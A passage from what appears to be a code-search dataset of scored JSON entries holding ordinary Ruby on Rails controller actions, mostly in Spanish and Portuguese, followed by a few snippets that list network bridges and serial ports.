else\n format.html { render :new }\n format.json { render json: @aluno.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e14b1587aee92d86529fd702db3f96c", "score": "0.5891826", "text": "def new\n @receitum = Receitum.new\n @contum = Contum.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receitum }\n end\n end", "title": "" }, { "docid": "b6d908bbc4020ea15b591cb8645e4c63", "score": "0.5888111", "text": "def new\n @curso = Curso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @curso }\n end\n end", "title": "" }, { "docid": "aac300e19d5f49a396968785712be5b0", "score": "0.58826834", "text": "def nuevo\n if params[:caso_id].nil?\n respond_to do |format|\n format.html { render inline: 'Falta identificacion del caso' }\n end\n else\n @respuesta = Respuesta.new\n cid = params[:caso_id].to_i\n @respuesta.id_caso = cid\n @caso = @respuesta.caso\n @caso.current_usuario = current_usuario\n @respuesta.detallear = ''\n if @respuesta.respond_to? :montoar\n @respuesta.montoar = 0\n end\n # Los siguientes están en sjrven pero no en sjrcol\n if @respuesta.respond_to? :detalleal\n @respuesta.detalleal = ''\n end\n if @respuesta.respond_to? :detalleap\n @respuesta.detalleap = ''\n end\n if @respuesta.respond_to? :detalleem\n @respuesta.detalleem = ''\n end\n # Los siguientes en sjrcol pero no en sjrven\n @respuesta.institucionayes = ''\n if @respuesta.respond_to? :cantidadayes\n @respuesta.cantidadayes = 0\n end\n @respuesta.accionesder = ''\n @respuesta.detallemotivo = ''\n @respuesta.difobsprog = ''\n fex = Sivel2Sjr::Casosjr.find(cid).fecharec\n if (Respuesta.where(id_caso: cid).count > 0) \n fex = Date.today\n end\n # \n while (Respuesta.where(id_caso: cid, fechaatencion: fex.to_s).count > 0) do\n fex += 1\n end\n @respuesta.fechaatencion = fex\n if @respuesta.save\n [email protected]_json\n h['respuesta'] = @respuesta.id\n respond_to do |format|\n format.js { render text: h }\n format.json { render json: h, status: :created }\n format.html { render inline: h.to_s }\n end\n else\n respond_to do |format|\n format.html { render action: \"error\" }\n format.json { \n render json: @respuesta.errors, \n status: :unprocessable_entity\n }\n end\n end\n end\n end", "title": "" }, { "docid": "f35af2219cfb34181036726e80fdda74", "score": "0.5874745", "text": "def create\n @empresa = Empresa.find(params[:empresa_id])\n @sucursal = Sucursal.new(params[:sucursal])\n @empresa.sucursals << @sucursal\n\n respond_to do |format|\n if @sucursal.save\n format.html { redirect_to @empresa, :notice => 'La sucursal fue creada satisfactoriamente' }\n format.json { render json: @sucursal }\n else\n format.html { render :action => \"new\" }\n format.json { render json: @sucursal.errors}\n end\n end\n end", "title": "" }, { "docid": "c870f9b5f69021a931df8b546e12412a", "score": "0.58719915", "text": "def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n \n if params[:proyecto][:caracteristicas]\n params[:proyecto][:caracteristicas].each do |key,value|\n CaracteristicasProyecto.create(cod_proyecto:@proyecto.id, cod_caracteristica: key, estado: 'A', usu_crea: nil, fec_crea: nil)\n end\n end\n\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7dc41560f8e9c284e8c0103157b4b1c3", "score": "0.5865274", "text": "def new\n @liquidacion_comision = LiquidacionComision.new\n\t\t@liquidacion_comision.rol=\"asesor\"\n\t\t@liquidacion_comision.fecha=Date.today\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liquidacion_comision }\n end\n end", "title": "" }, { "docid": "50cfea23acca1d200beb0831bcdac874", "score": "0.5851994", "text": "def create\n @laboratorio = Laboratorio.new(params[:laboratorio])\n @laboratorio.usuario_id = session[:usuario_id]\n\n respond_to do |format|\n if @laboratorio.save\n addlog(\"Novo laboratório criado\")\n format.html { redirect_to @laboratorio, notice: 'Laboratório criado com successo.' }\n format.json { render json: @laboratorio, status: :created, location: @laboratorio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @laboratorio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acda5099076549b2a1521fc0909ae25e", "score": "0.5849659", "text": "def new\n @congregacion = Congregacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @congregacion }\n end\n end", "title": "" }, { "docid": "207d42947cacdafac0fb2580852480b3", "score": "0.5847778", "text": "def new\n @company = Company.new\n @treatments = Treatment.all\n \n @usuarioLogueado = User.find_by_id(session[:user_id])\n @nombreCompuesto = @usuarioLogueado.surname + \", \" + @usuarioLogueado.name\n @cuilLogueado = @usuarioLogueado.cuil \n #@nombreCompuesto = \"cacho\"\n \n @localities = Locality.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end", "title": "" }, { "docid": "5a214956c0ad9e086c17607a9ffd3e1a", "score": "0.58465266", "text": "def new\n @comentarios_estrategium = ComentariosEstrategium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comentarios_estrategium }\n end\n end", "title": "" }, { "docid": "a4f6431b3967c5581481666d34a9757a", "score": "0.5843174", "text": "def create\n @curso = Curso.new(params[:curso])\n respond_to do |format|\n if @curso.save\n profesor = User.find(@curso.user_id)\n profesor.curso_id = @curso.id\n profesor.save\n format.html { redirect_to @curso, :notice => 'Curso creado satisfactoriamente.' }\n format.json { render :json => @curso, :status => :created, :location => @curso }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @curso.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1be28e37c9f77bec6e10732f2730ee7d", "score": "0.5842167", "text": "def new\n @cuenta_por_cobrar = CuentaPorCobrar.new\n @listado_empresas = Empresa.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cuenta_por_cobrar }\n end\n end", "title": "" }, { "docid": "b907430ec246e5bd589b8f57618f1a19", "score": "0.5840043", "text": "def create\n @colaborador = Colaborador.new(params[:colaborador])\n\n respond_to do |format|\n if @colaborador.save\n format.html { redirect_to @colaborador, notice: 'Colaborador was successfully created.' }\n format.json { render json: @colaborador, status: :created, location: @colaborador }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colaborador.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92948b7158e67f750acd197623b21668", "score": "0.5836652", "text": "def create\n \n @veiculo = Veiculo.new(veiculo_params)\n @veiculo.marca_id = params[:marca_id]\n @veiculo.modelo_id = params[:modelo_id]\n \n respond_to do |format|\n if @veiculo.save\n flash.now[:notice] = 'Veiculo cadastrado com sucesso.'\n format.html { redirect_to veiculos_path }\n format.json { render :show, status: :created, location: @veiculo }\n else\n @marcas = Marca.all.order(:descricao)\n @modelos = Modelo.all.order(:descricao)\n @cores = CorVeiculo.all.order(:descricao)\n @tipo_veiculos = TipoVeiculo.all.order(:descricao) \n \n format.html { render :new }\n format.json { render json: @veiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dba707e5e4ead54401bc5773cc4a6882", "score": "0.58357763", "text": "def new\n @sistema_operativo = SistemaOperativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sistema_operativo }\n end\n end", "title": "" }, { "docid": "0e627c6bfc32406a8c2c569aee47b826", "score": "0.5829662", "text": "def new\n @curriculum = Curriculum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curriculum }\n end\n end", "title": "" }, { "docid": "0e627c6bfc32406a8c2c569aee47b826", "score": "0.5829662", "text": "def new\n @curriculum = Curriculum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curriculum }\n end\n end", "title": "" }, { "docid": "0e627c6bfc32406a8c2c569aee47b826", "score": "0.5829662", "text": "def new\n @curriculum = Curriculum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curriculum }\n end\n end", "title": "" }, { "docid": "7546bc71c58c65458fd9a34d2d7cf2b5", "score": "0.5818833", "text": "def new\n @datos_significativo = DatosSignificativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datos_significativo }\n end\n end", "title": "" }, { "docid": "1e14d6e856741a7bf22d0c41d7eef125", "score": "0.5818654", "text": "def new\n @registro_compra = RegistroCompra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registro_compra }\n end\n end", "title": "" }, { "docid": "d299ba5906269b434cce441f3103bf54", "score": "0.5815695", "text": "def new\n @proximo_libros = Libro.find(params[:libro_id])\n @cuenta = Cuenta.find(params[:cuenta_id])\n @reserva = @cuenta.reservas.new(:libro => @proximo_libros, :fecha_reserva => Date.today)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reserva }\n end\n end", "title": "" }, { "docid": "ef09712f4849e3dbc37a5fea15f99d3f", "score": "0.5813517", "text": "def new\n @composante = Composante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @composante }\n end\n end", "title": "" }, { "docid": "40b954681fc71d2b16dd2e2a5231773e", "score": "0.5812226", "text": "def new\n @consignado = Consignado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @consignado }\n end\n end", "title": "" }, { "docid": "1b67ee3c964d5b8a35a7c6508f4f030d", "score": "0.58121586", "text": "def create\n @objeto = CurriculumBase.new(curriculum_base_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: \"Curriculum base was successfully created.\" }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a63d5ca0b96f0409d11ed3a5ee19dc7", "score": "0.5811417", "text": "def new\n @solicitante = Solicitante.new\n @localidad = \"\"\n \n add_breadcrumb :panel, panel_solicitante_path\n add_breadcrumb :new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitante }\n end\n end", "title": "" }, { "docid": "fdd82d9c0b27e53eba1757a676b89430", "score": "0.58100826", "text": "def new\n @contum = Contum.new\n\t @entidades = Entidade.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contum }\n end\n end", "title": "" }, { "docid": "572bda9ba0017c8d00672fe2b5c89e20", "score": "0.580989", "text": "def create\n @tipo_curso = TipoCurso.new(tipo_curso_params)\n\n respond_to do |format|\n if @tipo_curso.save\n format.html { redirect_to @tipo_curso, notice: 'Tipo do curso foi criado.' }\n format.json { render :show, status: :created, location: @tipo_curso }\n else\n format.html { render :new }\n format.json { render json: @tipo_curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8779123d9a953542ad92300473ee4483", "score": "0.5809054", "text": "def create\n @curso = Curso.new(curso_params)\n respond_to do |format|\n if @curso.save\n @usuario_curso = UsuarioCurso.create!(perfil: 'Professor', nickname: @curso.proprietario.nome, usuario_id: @curso.proprietario_id, curso_id: @curso.id, nivel_id: 1)\n ApplicationMailer.cadastro_curso(@usuario_curso).deliver\n format.html { redirect_to descricao_path(id: @curso.id), notice: 'Curso criado com sucesso!' }\n format.json { render :show, status: :created, location: cursos_path }\n else\n format.html { render :new}\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9923a73c89af11c7f8b02d05d80b401", "score": "0.58079433", "text": "def create\n @objeto = Categoria.new(categoria_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Categoria was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d81ec56c78bc5700cb1347147bf7ead5", "score": "0.5807461", "text": "def create\n @user = current_user\n @curriculum = Curricula.new(curricula_params)\n @curriculum.attributes = { creator: @user, path: \"repos/#{@user.username}/#{@curriculum.cur_name}/.git\" }\n @curriculum.users << @user\n\n ::GitFunctionality::CreateRepo.new.create_bare_repo(@curriculum)\n ::GitFunctionality::CreateRepo.new.create_working_directory(@curriculum, @user)\n ::GitFunctionality::CreateInitialCommit.new.create_initial_commit(@curriculum, false)\n\n flash[:success] = 'Successfully created curriculum' if @curriculum.save\n redirect_to dashboard_show_path\n end", "title": "" }, { "docid": "52842e81d2fd2f6c64bd053cca46f714", "score": "0.5806967", "text": "def new\n @ativo_circulante_financeiro = AtivoCirculanteFinanceiro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ativo_circulante_financeiro }\n end\n end", "title": "" }, { "docid": "49691666964ae59c9a3b897b14fa1ca6", "score": "0.58017874", "text": "def create\n @ativo_circulante_operacional = AtivoCirculanteOperacional.new(params[:ativo_circulante_operacional])\n\n respond_to do |format|\n if @ativo_circulante_operacional.save\n format.html { redirect_to @ativo_circulante_operacional, notice: 'Ativo circulante operacional was successfully created.' }\n format.json { render json: @ativo_circulante_operacional, status: :created, location: @ativo_circulante_operacional }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ativo_circulante_operacional.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec9868fe93ff0e3f26dc6a8b1c32c7a0", "score": "0.58015054", "text": "def create\n @curriculo = @user.create_curriculo(params[:curriculo])\n\n respond_to do |format|\n if @curriculo.save\n flash[:notice] = 'Seu currículo foi criado com sucesso.'\n format.html { redirect_to(@user, @curriculo) }\n format.xml { render :xml => @curriculo, :status => :created, :location => @curriculo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @curriculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc404f36d6da8d5e1d8fafc2d67a3c47", "score": "0.57982", "text": "def create\n @lectura_contador = LecturaContador.new(lectura_contador_params)\n\n respond_to do |format|\n if @lectura_contador.save\n format.html { redirect_to @lectura_contador, notice: 'Lectura contador was successfully created.' }\n format.json { render :show, status: :created, location: @lectura_contador }\n else\n format.html { render :new }\n format.json { render json: @lectura_contador.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb19757d194ecaf030ca6498902e0c88", "score": "0.5791689", "text": "def create\n @curriculum = Curriculum.new(curriculum_params)\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to @curriculum, notice: \"#{@curriculum.name} was added to the system.\" }\n format.json { render action: 'show', status: :created, location: @curriculum }\n\n else\n format.html { render action: 'new' }\n format.json { render json: @curriculum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4702be06fad9c42ecaf92743302160d2", "score": "0.5790729", "text": "def create\n @calendario_recurso = CalendarioRecurso.new(params[:calendario_recurso])\n\n respond_to do |format|\n if @calendario_recurso.save\n format.html { redirect_to(@calendario_recurso, :notice => 'Calendario recurso fue creado exitosamente.') }\n format.xml { render :xml => @calendario_recurso, :status => :created, :location => @calendario_recurso }\n else\n @recursos_laboratorio = RecursoLaboratorio.all\n format.html { render :action => \"new\" }\n format.xml { render :xml => @calendario_recurso.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "53c717278b7c5f22af79cbef50258eab", "score": "0.5790261", "text": "def create\n @curriculum = Curriculum.new(params[:curriculum])\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to @curriculum, notice: 'Curriculum was successfully created.' }\n format.json { render json: @curriculum, status: :created, location: @curriculum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curriculum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43db5233e827676737fe4d802fa84b4a", "score": "0.57874036", "text": "def create\n @clientes = Cliente.all\n @sucursales = Sucursal.where(\"cliente_id = ?\", params[:direccion][:cliente_id]).order(:nombre)\n\n #@direccion = Direccion.new(direccion_params)\n @direccion.sucursal_id =params[:direccion][:sucursal_id]\n @direccion.cliente_id =params[:direccion][:cliente_id]\n respond_to do |format|\n if @direccion.save\n format.html { redirect_to @direccion, notice: 'Direccion was successfully created.' }\n format.json { render action: 'show', status: :created, location: @direccion }\n else\n format.html { render action: 'new', :layout => \"layout_2\" }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47739c223c7068fae486cc461515396d", "score": "0.5787288", "text": "def create\n @servico_cruzeiro = Servico::Cruzeiro.new(servico_cruzeiro_params)\n\n respond_to do |format|\n if @servico_cruzeiro.save\n format.html { redirect_to @servico_cruzeiro, notice: 'Cruzeiro was successfully created.' }\n format.json { render action: 'show', status: :created, location: @servico_cruzeiro }\n else\n format.html { render action: 'new' }\n format.json { render json: @servico_cruzeiro.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f07e556e4c6804333cdfc877a443dac1", "score": "0.57848114", "text": "def create\n @cierre_ciclo = CierreCiclo.new(cierre_ciclo_params)\n\n respond_to do |format|\n if @cierre_ciclo.save\n #format.html { redirect_to @cierre_ciclos_url, notice: 'Cierre ciclo was successfully created.' }\n format.html { redirect_to action: \"index\", notice: 'Cierre de Ciclo fue creado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @cierre_ciclo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "281edec7035e02be6a1abf2d5cf6152f", "score": "0.5781914", "text": "def new\n @orden_servicio = OrdenServicio.new\n @activos = Activo.all\n @activo = Activo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orden_servicio }\n end\n end", "title": "" }, { "docid": "1c9868c77807797d089a86897a2011f6", "score": "0.5776016", "text": "def create\n @curso = Curso.new(curso_params)\n\n respond_to do |format|\n if @curso.save\n format.html { redirect_to @curso, notice: 'Curso was successfully created.' }\n format.json { render :show, status: :created, location: @curso }\n else\n format.html { render :new }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c9868c77807797d089a86897a2011f6", "score": "0.5776016", "text": "def create\n @curso = Curso.new(curso_params)\n\n respond_to do |format|\n if @curso.save\n format.html { redirect_to @curso, notice: 'Curso was successfully created.' }\n format.json { render :show, status: :created, location: @curso }\n else\n format.html { render :new }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b721a84ef170f685b4c614870172528", "score": "0.57735187", "text": "def create\r\n @curso = Curso.new(curso_params)\r\n\r\n respond_to do |format|\r\n if @curso.save\r\n format.html { redirect_to @curso, notice: \"Curso was successfully created.\" }\r\n format.json { render :show, status: :created, location: @curso }\r\n else\r\n format.html { render :new, status: :unprocessable_entity }\r\n format.json { render json: @curso.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "b39427f9aea5f72c747be0a8bc207fa2", "score": "0.57716006", "text": "def create\n @corretor = Corretor.new(params[:corretor])\n \n respond_to do |format|\n if @corretor.save\n flash[:notice] = flash[:notice].to_a.concat @corretor.errors.full_messages\n format.html { redirect_to administrativo_corretors_path, :notice => 'O corretor foi cadastrado com sucesso.' }\n format.json { render :json => @corretor, :status => :created, :location => @corretor }\n else\n # Tirado pois as mensagens estão sendo exibidas usando o padrao vistO NAS PAGINAS HTML.ERB\n # flash[:notice] = flash[:notice].to_a.concat @user.errors.full_messages\n format.html { render :action => \"new\"}\n format.json { render :json => @corretor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e169f95d65c07bfa357627763913b154", "score": "0.5770976", "text": "def new\n @localidad = Localidad.new\n departamento_new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @localidad }\n end\n end", "title": "" }, { "docid": "ff2d6c5f8329d38667c24be56413e85d", "score": "0.5768913", "text": "def new\n @cargo_categoria = CargoCategoria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cargo_categoria }\n end\n end", "title": "" }, { "docid": "8344fe960acc87a5382a9a44a8391beb", "score": "0.5767792", "text": "def create\n @formulario_curso = FormularioCurso.new(params[:formulario_curso])\n\n respond_to do |format|\n if @formulario_curso.save\n format.html { redirect_to curso_path(@formulario_curso.curso_id) }\n format.json { render json: @formulario_curso, status: :created, location: @formulario_curso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @formulario_curso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b4740ea7393626056bb6fd8686c757b", "score": "0.57673115", "text": "def create\n @curriculum = Curriculum.new(curriculum_params)\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to @curriculum, notice: 'Lehrplan wurde erfolgreich angelegt.' }\n format.json { render action: 'show', status: :created, location: @curriculum }\n else\n format.html { render action: 'new' }\n format.json { render json: @curriculum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad8c55913bcdd2f0f0e87d543dc5ce41", "score": "0.57661396", "text": "def new\n @lectivo = Lectivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lectivo }\n end\n end", "title": "" }, { "docid": "79d6251ad23414f1b16ce828a4044abf", "score": "0.57646126", "text": "def create\n @lectivo = Lectivo.new(params[:lectivo])\n\n respond_to do |format|\n if @lectivo.save\n format.html { redirect_to @lectivo, notice: 'Lectivo was successfully created.' }\n format.json { render json: @lectivo, status: :created, location: @lectivo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lectivo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f29a4667d231a4fa6defd5cd82125f16", "score": "0.57599115", "text": "def new\n @passivo_circulante_operacional = PassivoCirculanteOperacional.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @passivo_circulante_operacional }\n end\n end", "title": "" }, { "docid": "77b763bb7fa99a0c828e9f104b767333", "score": "0.5759867", "text": "def create\n @citum = Citum.new(citum_params)\n\n respond_to do |format|\n if @citum.save\n format.html { redirect_to @citum, notice: 'Cita fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @citum }\n else\n format.html { render :new }\n format.json { render json: @citum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
c0fdfcd20be1fd5c266b53fbf8b72d98
Find all bridges in the system
[ { "docid": "7011c53acc414604d0b05c2978310f2b", "score": "0.80238277", "text": "def find_all_bridges(params={}, headers=default_headers)\n @logger.info(\"Find all bridges.\")\n get(\"#{@api_url}/bridges\", params, headers)\n end", "title": "" } ]
[ { "docid": "bc6e96f52bdf438bc570550d8cd50212", "score": "0.77416813", "text": "def find_bridges(space, params={}, headers=default_headers)\n @logger.info(\"Find all bridges in the \\\"#{space}\\\" space.\")\n get(\"#{@api_url}/spaces/#{space}/bridges\", params, headers)\n end", "title": "" }, { "docid": "2afc9f4b96f8e76cda3797069d1acead", "score": "0.7505056", "text": "def find_bridges(params={}, headers=default_headers)\n info(\"Find Bridges.\")\n get(\"#{@api_url}/bridges\", params, headers)\n end", "title": "" }, { "docid": "839ccbff2216e053b478282a9868c2b6", "score": "0.7097184", "text": "def get_interfaces\n bridges = Hash.new\n brctl_exit =`#{CONF[:brctl]} show`\n cur_bridge = \"\"\n\n brctl_exit.split(\"\\n\")[1..-1].each do |l| \n l = l.split\n\n if l.length > 1\n cur_bridge = l[0]\n\n bridges[cur_bridge] = Array.new\n bridges[cur_bridge] << l[3]\n else\n bridges[cur_bridge] << l[0]\n end\n end\n\n bridges\nend", "title": "" }, { "docid": "9c468698a01318f5b00ab49de816a87f", "score": "0.67216855", "text": "def bridge bridges: [], indexes: []\n parse(:normal) do |x, y, ds, w, i|\n bridges[i] = { x: x, y: y, ds: ds } if !ds.to_s.strip.empty? # => only if there are ds values\n end\n bridges.compact!.sort_by! { |hsh| hsh[:y] }.each_slice(2).with_index do |group,i|\n group[1][:ds].scan(/\\w/).each do |x|\n indexes[i] ||= []\n indexes[i] << group if group[0][:ds].include? x # since all bridges have to be next to each other, and since all bridges require rr, ll, dd, uu, that's what we validate against\n end\n end\n return indexes.uniq!.count # => Only need to print/puts/echo once\n end", "title": "" }, { "docid": "c76242ddfe15d735b477827a31724252", "score": "0.621861", "text": "def load_bridge_info\n\n config = Hash.new\n bridge = nil\n interface = nil\n\n brctl('show').split(\"\\n\").each do |line|\n\n # skip header\n next if line.include?('bridge name')\n\n line.scan(/^(.*?)\\s+(.*?)\\s+(.*?)\\s+(.*)$/)\n\n # get bridge, keep previous entry if it is empty\n if ! $1.empty? \n # new bridge defined\n bridge = $1\n config[bridge] = Hash.new\n config[bridge]['interfaces'] = Array.new\n end\n\n # get interfaces\n if ! $4.empty?\n # interface defined\n config[bridge]['interfaces'] << $4\n end\n\n end\n\n return config\n\n end", "title": "" }, { "docid": "0d19119b6e09a20d1250cc2372ed2281", "score": "0.61517376", "text": "def lookup_bridge_by_name(bridge_name)\n @logger.debug \"looking up bridge named #{bridge_name}\"\n @available_networks.find { |network| network[:bridge_name] == bridge_name }\n end", "title": "" }, { "docid": "10bfd333c2273bf091f5035acd84fd60", "score": "0.6131535", "text": "def connected_beacon_boards\n \n #Find any devices which identify as JD Beacon Boards.\n paths = Dir.glob('/dev/serial/by-id/*JD_Beacon_Board*')\n\n #Return a list of corresponding serial ports.\n paths.map { |path| File.realpath(path) }\n\n end", "title": "" }, { "docid": "9a82c1c16e7dc3e35ec08e4147c56cff", "score": "0.61189574", "text": "def create_bridges\n @bridges = list_bridges\n\n process do |nic|\n create_bridge(nic)\n end\n end", "title": "" }, { "docid": "8d833b62379be5920213931cb846be03", "score": "0.6016643", "text": "def connected_beacon_boards\n\n #Load the ruby WMI library.\n require 'ruby-wmi'\n\n #Find all serial ports on the host system.\n ports = WMI::Win32_SerialPort.find(:all)\n\n #Find only the ports which match the vendor/product ID for the JD beacon board.\n ports.select! { |p| p.attributes[\"pnp_device_id\"].start_with? \"USB\\\\VID_16D0&PID_05A5\" }\n\n #And convert each port to a name/value.\n ports.map! { |p| p.attributes[\"device_id\"] }\n \n end", "title": "" }, { "docid": "09876c4d710e24a7c0e892fa7863dce3", "score": "0.598221", "text": "def bridged\n @bridged\n end", "title": "" }, { "docid": "0cdbbba4aff5896e231ac3e612acc8c8", "score": "0.5977196", "text": "def connected_beacon_boards\n []\n end", "title": "" }, { "docid": "577c72aa6a08fef65a183f8543ae6928", "score": "0.5952212", "text": "def index\n @bridges = Bridge.all\n end", "title": "" }, { "docid": "5ee20e246996126477029b1cf91df285", "score": "0.5917834", "text": "def network_list\n result = @connect.call('network.get_all', @session)\n result['Value'].map! do |ref|\n network_get_uuid(ref)['Value']\n end\n result['Value'].reject! do |network_uuid|\n network_get_detail(network_uuid)['Value']['bridge'] == 'xenapi'\n end\n result\n end", "title": "" }, { "docid": "5d41b67beba6485c2972e302096bfedd", "score": "0.59113705", "text": "def all_connected\n end", "title": "" }, { "docid": "5d41b67beba6485c2972e302096bfedd", "score": "0.59113705", "text": "def all_connected\n end", "title": "" }, { "docid": "1ebaa0f1377f97380e82142d7b9b60c4", "score": "0.5810986", "text": "def bonds\n each_bond.map.to_a\n end", "title": "" }, { "docid": "0b90c89f2f8baacdbec5002b5225b9ed", "score": "0.57981104", "text": "def get_networks()\n $evm.log(:info, \"Running on Server Version: #{$evm.root['miq_server'].version}\")\n provider = $evm.vmdb('ems').find_by_type('ManageIQ::Providers::Vmware::InfraManager')\n all_dvs_names = []\n provider.hosts.each do |host|\n $evm.log(:info, \"Get dvs_networks for host #{host.name}\")\n next if host.tags.include?('exclusions/invisible')\n host.switches.each do |switch|\n switch.lans.each do |nw|\n $evm.log(:info, \"Parsing results for host #{host.name} nw: '#{nw.name}'\")\n if nw.name =~ /(\\d+)_(\\d+)_(\\d+)_(\\d+)_V(\\d+).*/\n all_dvs_names << [ nw.name, \"#{$1.to_i}.#{$2.to_i}.#{$3.to_i}.#{$4.to_i}\", $5.to_i]\n end\n end\n end\n end\n all_dvs_names.uniq\nend", "title": "" }, { "docid": "101867c2a75bdb8141300731e5290fff", "score": "0.5792716", "text": "def locate_bridge_for_iface(name)\n\tbr_res = {\n\t\t:type => :unknown,\n\t\t:bridge => nil\n\t}\n\n\t# try to locate with bridge utils\n\tread_brctl_show.each do |bridge,ifaces|\n\t\tbr_res[:bridge] = bridge if ifaces.include? name\n\t\tbr_res[:type] = :linuxbridge\n\tend\n\tif br_res[:bridge].nil? then\n\t\t# not found? -> find out if this interface is managed by open vswitch\n\t\tif $ovsvsctl_bin then\n\t\t\tbr = `#{$ovsvsctl_bin} iface-to-br #{name} 2>/dev/null`.chomp\n\t\t\tbr_res[:bridge] = br\n\t\t\tbr_res[:type] = :ovs\n\n\t\t\t# locate parent and vlan\n\t\t\tp = `#{$ovsvsctl_bin} br-to-parent #{br} 2>/dev/null`.chomp\n\t\t\tbr_res[:parent] = p if p && p.size > 0\n\n\t\t\tvlan = `#{$ovsvsctl_bin} br-to-vlan #{br} 2>/dev/null`.chomp\n\t\t\tbr_res[:vlan] = vlan if vlan && vlan.size > 0 \n\t\tend\n\tend\n\tbr_res\n\nend", "title": "" }, { "docid": "1e6edeb3fa8d660a0232f2982589d244", "score": "0.57780385", "text": "def neighbors\n @neighbor_dao.find_all\n end", "title": "" }, { "docid": "d336278cd56d5f2a315f209746212b5d", "score": "0.5757104", "text": "def all_connections\n all_links + all_containments\n end", "title": "" }, { "docid": "aca392410114ae20c1cc2425c0c76db6", "score": "0.5731739", "text": "def possible_networks\n @possible_networks ||= Optopus::Network.where('address >> ?', self.ip_address.to_cidr)\n end", "title": "" }, { "docid": "4269c64324d98f39f1f89353fcc740d3", "score": "0.57295144", "text": "def neighbors\n connections.map(&:to).uniq\n end", "title": "" }, { "docid": "f5cdb486e877369886cbbf616dd5aefd", "score": "0.57082695", "text": "def get_itf_bridge(itf)\n bridge_data = { bridge: '' }\n cli_out = `readlink /sys/class/net/#{itf}/brport/bridge | awk -F'/' '{print $NF}'` 